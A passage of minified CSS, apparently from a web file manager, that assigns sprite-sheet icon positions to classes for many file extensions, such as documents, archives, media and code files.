!important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.x-item-small-item.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.x-item-small-item.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.x-item-small-item.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.x-item-small-item.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.x-item-small-item.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.x-item-small-item.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.x-item-small-item.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.x-item-small-item.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.x-item-small-item.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.x-item-small-item.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.x-item-small-item.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.x-item-small-item.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.x-item-small-item.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.x-item-small-item.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.x-item-small-item.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.x-item-small-item.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.x-item-small-item.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.x-item-small-item.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.x-item-small-item.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.x-item-small-item.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.x-item-small-item.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.x-item-small-item.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.x-item-small-item.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.x-item-small-item.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.x-item-small-item.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.x-item-small-item.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.x-item-small-item.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.x-item-small-item.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.x-item-small-item.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.x-item-small-item.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.x-item-small-item.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.x-item-small-item.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.x-item-small-item.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.x-item-small-item.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.x-item-small-item.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.x-item-small-item.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.x-item-small-item.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.x-item-small-item.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.x-item-small-item.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.x-item-small-item.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.x-item-small-item.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.x-item-small-item.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.x-item-small-item.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.x-item-small-item.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.x-item-small-item.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.x-item-small-item.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.x-item-small-item.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.x-item-small-item.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.x-item-small-item.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.x-item-small-item.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.x-item-small-item.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.x-item-small-item.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.x-item-small-item.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.x-item-small-item.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.x-item-small-item.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.x-item-small-item.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.x-item-small-item.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.x-item-small-item.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.x-item-small-item.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.x-item-small-item.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.x-item-small-item.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.x-item-small-item.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.x-item-small-item.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.x-item-small-item.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.x-item-small-item.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.x-item-small-item.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.x-item-small-item.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.x-item-small-item.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.x-item-small-item.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.x-item-small-item.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.x-item-small-item.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.x-item-small-item.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.x-item-small-item.x-txt,.x-item-small-item.x-textile,.x-item-small-item.x-inc,.x-item-small-item.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.file-list-list .file .ico .x-item-file{border:none;}.file-list-list .file .ico .x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.file-list-list .file .ico .x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.file-list-list .file .ico .x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.file-list-list .file .ico .x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.file-list-list .file .ico .x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.file-list-list .file .ico .x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.file-list-list .file .ico .x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.file-list-list .file .ico .x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.file-list-list .file .ico .x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.file-list-list .file .ico .x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.file-list-list .file .ico .x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.file-list-list .file .ico .x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.file-list-list .file .ico .x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.file-list-list .file .ico .x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.file-list-list .file .ico .x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.file-list-list .file .ico .x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.file-list-list .file .ico .x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.file-list-list .file .ico .x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.file-list-list .file .ico .x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.file-list-list .file .ico .x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.file-list-list .file .ico .x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.file-list-list .file .ico .x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.file-list-list .file .ico .x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.file-list-list .file .ico .x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.file-list-list .file .ico .x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.file-list-list .file .ico .x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.file-list-list .file .ico .x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.file-list-list .file .ico .x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.file-list-list .file .ico .x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.file-list-list .file .ico .x-item-file.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.file-list-list .file .ico .x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.file-list-list .file .ico .x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.file-list-list .file .ico .x-item-file.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.file-list-list .file .ico .x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.file-list-list .file .ico .x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.file-list-list .file .ico .x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.file-list-list .file .ico .x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.file-list-list .file .ico .x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.file-list-list .file .ico .x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.file-list-list .file .ico .x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.file-list-list .file .ico .x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.file-list-list .file .ico .x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.file-list-list .file .ico .x-item-file.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.file-list-list .file .ico .x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.file-list-list .file .ico .x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.file-list-list .file .ico .x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.file-list-list .file .ico .x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.file-list-list .file .ico .x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.file-list-list .file .ico .x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.file-list-list .file .ico .x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.file-list-list .file .ico .x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.file-list-list .file .ico .x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.file-list-list .file .ico .x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.file-list-list .file .ico .x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.file-list-list .file .ico 